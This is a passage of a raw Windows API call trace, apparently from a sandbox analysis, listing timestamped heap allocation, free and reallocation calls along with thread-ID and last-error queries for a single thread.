[0073.587] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2c178f8 [0073.587] GetCurrentThreadId () returned 0x9b0 [0073.587] GetCurrentThreadId () returned 0x9b0 [0073.587] GetCurrentThreadId () returned 0x9b0 [0073.587] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2c17b20 [0073.587] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2c17b38 [0073.587] GetCurrentThreadId () returned 0x9b0 [0073.588] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2c17910 [0073.588] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c17910 | out: hHeap=0x2ad0000) returned 1 [0073.588] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c17b20 | out: hHeap=0x2ad0000) returned 1 [0073.588] GetCurrentThreadId () returned 0x9b0 [0073.588] GetCurrentThreadId () returned 0x9b0 [0073.588] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2c17ac0 [0073.588] GetCurrentThreadId () returned 0x9b0 [0073.588] GetCurrentThreadId () returned 0x9b0 [0073.588] GetCurrentThreadId () returned 0x9b0 [0073.588] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2c17868 [0073.588] GetCurrentThreadId () returned 0x9b0 [0073.588] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2c17910 [0073.588] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2c17988 [0073.588] GetCurrentThreadId () returned 0x9b0 [0073.588] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c17988 | out: hHeap=0x2ad0000) returned 1 [0073.588] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c17868 | out: hHeap=0x2ad0000) returned 1 [0073.588] GetCurrentThreadId () returned 0x9b0 [0073.588] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2c179e8 [0073.588] GetCurrentThreadId () returned 0x9b0 [0073.588] GetCurrentThreadId () returned 0x9b0 [0073.588] GetCurrentThreadId () returned 0x9b0 [0073.588] GetCurrentThreadId () returned 0x9b0 [0073.588] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x2c0e180 [0073.588] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2c17a78 [0073.589] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2c17a90 [0073.589] GetCurrentThreadId () returned 0x9b0 [0073.589] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2c17928 [0073.589] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c17928 | out: hHeap=0x2ad0000) returned 1 [0073.589] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c17a78 | out: hHeap=0x2ad0000) returned 1 [0073.589] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2c17880 [0073.589] GetCurrentThreadId () returned 0x9b0 [0073.589] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c17880 | out: hHeap=0x2ad0000) returned 1 [0073.589] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x2a8b100 [0073.589] GetCurrentThreadId () returned 0x9b0 [0073.589] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2c17b20 [0073.589] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c17b20 | out: hHeap=0x2ad0000) returned 1 [0073.589] GetCurrentThreadId () returned 0x9b0 [0073.589] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x2a8af00 [0073.589] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2c17928 [0073.589] GetCurrentThreadId () returned 0x9b0 [0073.589] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c17928 | out: hHeap=0x2ad0000) returned 1 [0073.589] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x2a8af20 [0073.589] GetCurrentThreadId () returned 0x9b0 [0073.589] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2c17aa8 [0073.589] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c17aa8 | out: hHeap=0x2ad0000) returned 1 [0073.589] GetCurrentThreadId () returned 0x9b0 [0073.589] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x2a8b050 [0073.589] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2c178c8 [0073.590] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c178c8 | out: hHeap=0x2ad0000) returned 1 [0073.590] GetCurrentThreadId () returned 0x9b0 [0073.590] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x2a8ae60 [0073.590] GetCurrentThreadId () returned 0x9b0 [0073.590] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2c17a18 [0073.590] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c17a18 | out: hHeap=0x2ad0000) returned 1 [0073.590] GetCurrentThreadId () returned 0x9b0 [0073.590] GetCurrentThreadId () returned 0x9b0 [0073.590] GetCurrentThreadId () returned 0x9b0 [0073.590] GetCurrentThreadId () returned 0x9b0 [0073.590] GetCurrentThreadId () returned 0x9b0 [0073.590] GetCurrentThreadId () returned 0x9b0 [0073.590] GetCurrentThreadId () returned 0x9b0 [0073.590] GetCurrentThreadId () returned 0x9b0 [0073.590] GetCurrentThreadId () returned 0x9b0 [0073.590] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2c17a18 [0073.590] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2c17a18, Size=0x20) returned 0x2a1fba0 [0073.590] GetCurrentThreadId () returned 0x9b0 [0073.590] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2a1fba0, Size=0x40) returned 0x2a18c20 [0073.590] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x101) returned 0x2a1a8e8 [0073.590] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2c179a0 [0073.590] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2c17b20 [0073.590] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c17b20 | out: hHeap=0x2ad0000) returned 1 [0073.590] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c179a0 | out: hHeap=0x2ad0000) returned 1 [0073.591] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1a8e8 | out: hHeap=0x2ad0000) returned 1 [0073.591] GetCurrentThreadId () returned 0x9b0 [0073.591] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x101) returned 0x2a1a258 [0073.591] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2c17940 [0073.591] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2c17a18 [0073.591] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c17a18 | out: hHeap=0x2ad0000) returned 1 [0073.591] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c17940 | out: hHeap=0x2ad0000) returned 1 [0073.591] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1a258 | out: hHeap=0x2ad0000) returned 1 [0073.591] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2a18c20, Size=0x64) returned 0x2a19738 [0073.591] GetCurrentThreadId () returned 0x9b0 [0073.591] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x101) returned 0x2a1a488 [0073.591] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2c17a18 [0073.591] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2c17a48 [0073.591] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c17a48 | out: hHeap=0x2ad0000) returned 1 [0073.591] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c17a18 | out: hHeap=0x2ad0000) returned 1 [0073.591] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1a488 | out: hHeap=0x2ad0000) returned 1 [0073.591] GetCurrentThreadId () returned 0x9b0 [0073.591] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x101) returned 0x2a1a488 [0073.591] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2c17928 [0073.591] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2c17a18 [0073.591] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c17a18 | out: hHeap=0x2ad0000) returned 1 [0073.591] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c17928 | out: hHeap=0x2ad0000) returned 1 [0073.591] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1a488 | out: hHeap=0x2ad0000) returned 1 [0073.591] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2a19738, Size=0x8c) returned 0x2ac06b0 [0073.591] GetCurrentThreadId () returned 0x9b0 [0073.591] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2ac06b0, Size=0xb8) returned 0x2ac1c78 [0073.591] GetCurrentThreadId () returned 0x9b0 [0073.591] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x101) returned 0x2a1ae60 [0073.591] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2c178c8 [0073.592] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2c17a18 [0073.592] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c17a18 | out: hHeap=0x2ad0000) returned 1 [0073.592] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c178c8 | out: hHeap=0x2ad0000) returned 1 [0073.592] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1ae60 | out: hHeap=0x2ad0000) returned 1 [0073.592] GetCurrentThreadId () returned 0x9b0 [0073.592] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x101) returned 0x2a1a5a0 [0073.592] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2c17a18 [0073.592] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2c178c8 [0073.592] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c178c8 | out: hHeap=0x2ad0000) returned 1 [0073.592] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c17a18 | out: hHeap=0x2ad0000) returned 1 [0073.592] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1a5a0 | out: hHeap=0x2ad0000) returned 1 [0073.592] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2ac1c78, Size=0xe8) returned 0x2ac2890 [0073.592] GetCurrentThreadId () returned 0x9b0 [0073.592] GetCurrentThreadId () returned 0x9b0 [0073.592] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2ac2890, Size=0x120) returned 0x2ba5058 [0073.592] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x101) returned 0x2a1a5a0 [0073.592] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2c17a48 [0073.592] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2c178c8 [0073.592] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c178c8 | out: hHeap=0x2ad0000) returned 1 [0073.592] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c17a48 | out: hHeap=0x2ad0000) returned 1 [0073.592] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1a5a0 | out: hHeap=0x2ad0000) returned 1 [0073.592] GetCurrentThreadId () returned 0x9b0 [0073.592] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x101) returned 0x2a1ae60 [0073.592] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2c17928 [0073.592] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2c17a18 [0073.592] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c17a18 | out: hHeap=0x2ad0000) returned 1 [0073.592] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c17928 | out: hHeap=0x2ad0000) returned 1 [0073.593] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1ae60 | out: hHeap=0x2ad0000) returned 1 [0073.593] GetCurrentThreadId () returned 0x9b0 [0073.593] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2ba5058, Size=0x160) returned 0x2ba6910 [0073.593] GetCurrentThreadId () returned 0x9b0 [0073.593] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x101) returned 0x2a1a258 [0073.593] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2c17b20 [0073.593] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2c17988 [0073.593] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c17988 | out: hHeap=0x2ad0000) returned 1 [0073.593] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c17b20 | out: hHeap=0x2ad0000) returned 1 [0073.593] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1a258 | out: hHeap=0x2ad0000) returned 1 [0073.593] GetCurrentThreadId () returned 0x9b0 [0073.593] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x101) returned 0x2a1a7d0 [0073.593] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2c17940 [0073.593] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2c17928 [0073.593] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c17928 | out: hHeap=0x2ad0000) returned 1 [0073.593] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c17940 | out: hHeap=0x2ad0000) returned 1 [0073.593] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1a7d0 | out: hHeap=0x2ad0000) returned 1 [0073.593] GetCurrentThreadId () returned 0x9b0 [0073.593] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2ba6910, Size=0x1a8) returned 0x2ac9468 [0073.593] GetCurrentThreadId () returned 0x9b0 [0073.593] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x101) returned 0x2a1ae60 [0073.593] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2c17958 [0073.593] GetCurrentThreadId () returned 0x9b0 [0073.593] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2c17a48 [0073.593] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c17a48 | out: hHeap=0x2ad0000) returned 1 [0073.593] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c17958 | out: hHeap=0x2ad0000) returned 1 [0073.593] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1ae60 | out: hHeap=0x2ad0000) returned 1 [0073.594] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x101) returned 0x2a1a258 [0073.594] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2c17a78 [0073.594] GetCurrentThreadId () returned 0x9b0 [0073.594] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2c17a18 [0073.594] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c17a18 | out: hHeap=0x2ad0000) returned 1 [0073.594] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c17a78 | out: hHeap=0x2ad0000) returned 1 [0073.594] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1a258 | out: hHeap=0x2ad0000) returned 1 [0073.594] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2ac9468, Size=0x1f8) returned 0x2ba87a0 [0073.594] GetCurrentThreadId () returned 0x9b0 [0073.594] GetCurrentThreadId () returned 0x9b0 [0073.594] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x101) returned 0x2a1a8e8 [0073.594] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2c17a48 [0073.594] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2c17880 [0073.594] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c17880 | out: hHeap=0x2ad0000) returned 1 [0073.594] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c17a48 | out: hHeap=0x2ad0000) returned 1 [0073.594] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1a8e8 | out: hHeap=0x2ad0000) returned 1 [0073.594] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x101) returned 0x2a1a258 [0073.594] GetCurrentThreadId () returned 0x9b0 [0073.594] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2c179a0 [0073.594] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2c17a48 [0073.594] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c17a48 | out: hHeap=0x2ad0000) returned 1 [0073.594] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c179a0 | out: hHeap=0x2ad0000) returned 1 [0073.594] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1a258 | out: hHeap=0x2ad0000) returned 1 [0073.594] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2ba87a0, Size=0x250) returned 0x2ac4960 [0073.594] GetCurrentThreadId () returned 0x9b0 [0073.594] GetCurrentThreadId () returned 0x9b0 [0073.594] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x2a8aed0 [0073.594] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x1c) returned 0x2a1fab0 [0073.595] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a8aed0 | out: hHeap=0x2ad0000) returned 1 [0073.595] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x18) returned 0x2a71660 [0073.595] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a71660 | out: hHeap=0x2ad0000) returned 1 [0073.595] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x250) returned 0x2ac4bc8 [0073.595] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c17a90 | out: hHeap=0x2ad0000) returned 1 [0073.595] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c179e8 | out: hHeap=0x2ad0000) returned 1 [0073.595] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a8b100 | out: hHeap=0x2ad0000) returned 1 [0073.595] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c17910 | out: hHeap=0x2ad0000) returned 1 [0073.595] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c17ac0 | out: hHeap=0x2ad0000) returned 1 [0073.595] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a8af00 | out: hHeap=0x2ad0000) returned 1 [0073.595] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c17b38 | out: hHeap=0x2ad0000) returned 1 [0073.595] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c178f8 | out: hHeap=0x2ad0000) returned 1 [0073.595] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a8af20 | out: hHeap=0x2ad0000) returned 1 [0073.595] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c17af0 | out: hHeap=0x2ad0000) returned 1 [0073.595] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c17b08 | out: hHeap=0x2ad0000) returned 1 [0073.595] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a8b050 | out: hHeap=0x2ad0000) returned 1 [0073.595] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c17a00 | out: hHeap=0x2ad0000) returned 1 [0073.595] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c179d0 | out: hHeap=0x2ad0000) returned 1 [0073.595] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a8ae60 | out: hHeap=0x2ad0000) returned 1 [0073.595] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c0f568 | out: hHeap=0x2ad0000) returned 1 [0073.595] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c178b0 | out: hHeap=0x2ad0000) returned 1 [0073.595] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c178e0 | out: hHeap=0x2ad0000) returned 1 [0073.595] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ac4960 | out: hHeap=0x2ad0000) returned 1 [0073.595] GetCurrentThreadId () returned 0x9b0 [0073.595] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x600) returned 0x2c134a8 [0073.595] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c0dce8 | out: hHeap=0x2ad0000) returned 1 [0073.596] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x2c0dce8 [0073.596] GetCurrentThreadId () returned 0x9b0 [0073.596] GetCurrentThreadId () returned 0x9b0 [0073.596] GetLastError () returned 0x0 [0073.596] GetLastError () returned 0x0 [0073.596] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2c179b8 [0073.596] GetCurrentThreadId () returned 0x9b0 [0073.596] GetLastError () returned 0x0 [0073.596] GetLastError () returned 0x0 [0073.596] GetCurrentThreadId () returned 0x9b0 [0073.596] GetLastError () returned 0x0 [0073.596] GetLastError () returned 0x0 [0073.596] GetCurrentThreadId () returned 0x9b0 [0073.596] GetCurrentThreadId () returned 0x9b0 [0073.596] GetLastError () returned 0x0 [0073.596] GetLastError () returned 0x0 [0073.596] GetCurrentThreadId () returned 0x9b0 [0073.596] GetLastError () returned 0x0 [0073.596] GetLastError () returned 0x0 [0073.596] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2c179b8, Size=0x20) returned 0x2a1fba0 [0073.596] GetCurrentThreadId () returned 0x9b0 [0073.596] GetLastError () returned 0x0 [0073.596] GetLastError () returned 0x0 [0073.596] GetCurrentThreadId () returned 0x9b0 [0073.596] GetLastError () returned 0x0 [0073.596] GetLastError () returned 0x0 [0073.596] GetCurrentThreadId () returned 0x9b0 [0073.596] GetLastError () returned 0x0 [0073.597] GetLastError () returned 0x0 [0073.597] GetCurrentThreadId () returned 0x9b0 [0073.597] GetLastError () returned 0x0 [0073.597] GetLastError () returned 0x0 [0073.597] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2a1fba0, Size=0x40) returned 0x2a18d40 [0073.597] GetCurrentThreadId () returned 0x9b0 [0073.597] GetLastError () returned 0x0 [0073.597] GetLastError () returned 0x0 [0073.597] GetCurrentThreadId () returned 0x9b0 [0073.597] GetCurrentThreadId () returned 0x9b0 [0073.597] GetLastError () returned 0x0 [0073.597] GetLastError () returned 0x0 [0073.597] GetCurrentThreadId () returned 0x9b0 [0073.597] GetLastError () returned 0x0 [0073.597] GetLastError () returned 0x0 [0073.597] GetCurrentThreadId () returned 0x9b0 [0073.597] GetLastError () returned 0x0 [0073.597] GetLastError () returned 0x0 [0073.597] GetCurrentThreadId () returned 0x9b0 [0073.597] GetLastError () returned 0x0 [0073.597] GetLastError () returned 0x0 [0073.597] GetCurrentThreadId () returned 0x9b0 [0073.597] GetLastError () returned 0x0 [0073.597] GetLastError () returned 0x0 [0073.597] GetCurrentThreadId () returned 0x9b0 [0073.597] GetLastError () returned 0x0 [0073.597] GetLastError () returned 0x0 [0073.597] GetCurrentThreadId () returned 0x9b0 [0073.598] GetCurrentThreadId () returned 0x9b0 [0073.598] GetLastError () returned 0x0 [0073.598] GetLastError () returned 0x0 [0073.598] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2a18d40, Size=0x64) returned 0x2a19ab8 [0073.598] GetCurrentThreadId () returned 0x9b0 [0073.598] GetLastError () returned 0x0 [0073.598] GetLastError () returned 0x0 [0073.598] GetCurrentThreadId () returned 0x9b0 [0073.598] GetLastError () returned 0x0 [0073.598] GetLastError () returned 0x0 [0073.598] GetCurrentThreadId () returned 0x9b0 [0073.598] GetLastError () returned 0x0 [0073.598] GetLastError () returned 0x0 [0073.598] GetCurrentThreadId () returned 0x9b0 [0073.598] GetLastError () returned 0x0 [0073.598] GetLastError () returned 0x0 [0073.598] GetCurrentThreadId () returned 0x9b0 [0073.598] GetLastError () returned 0x0 [0073.598] GetLastError () returned 0x0 [0073.598] GetCurrentThreadId () returned 0x9b0 [0073.598] GetCurrentThreadId () returned 0x9b0 [0073.598] GetLastError () returned 0x0 [0073.598] GetLastError () returned 0x0 [0073.598] GetCurrentThreadId () returned 0x9b0 [0073.598] GetLastError () returned 0x0 [0073.598] GetLastError () returned 0x0 [0073.598] GetCurrentThreadId () returned 0x9b0 [0073.598] GetLastError () returned 0x0 [0073.598] GetLastError () returned 0x0 [0073.599] GetCurrentThreadId () returned 0x9b0 [0073.599] GetLastError () returned 0x0 [0073.599] GetLastError () returned 0x0 [0073.599] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2a19ab8, Size=0x8c) returned 0x2ac0ad8 [0073.599] GetCurrentThreadId () returned 0x9b0 [0073.599] GetLastError () returned 0x0 [0073.599] GetLastError () returned 0x0 [0073.599] GetCurrentThreadId () returned 0x9b0 [0073.599] GetLastError () returned 0x0 [0073.599] GetLastError () returned 0x0 [0073.599] GetCurrentThreadId () returned 0x9b0 [0073.599] GetLastError () returned 0x0 [0073.599] GetLastError () returned 0x0 [0073.599] GetCurrentThreadId () returned 0x9b0 [0073.599] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2c17988 [0073.599] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2c17a48 [0073.599] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c17a48 | out: hHeap=0x2ad0000) returned 1 [0073.599] GetCurrentThreadId () returned 0x9b0 [0073.599] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2c17928 [0073.599] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2c17928, Size=0x20) returned 0x2a1fbc8 [0073.599] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x101) returned 0x2a1ae60 [0073.599] GetCurrentThreadId () returned 0x9b0 [0073.599] GetCurrentThreadId () returned 0x9b0 [0073.599] GetCurrentThreadId () returned 0x9b0 [0073.599] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2c178b0 [0073.599] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c178b0 | out: hHeap=0x2ad0000) returned 1 [0073.599] GetCurrentThreadId () returned 0x9b0 [0073.599] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x100) returned 0x2acc480 [0073.599] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2acc480 | out: hHeap=0x2ad0000) 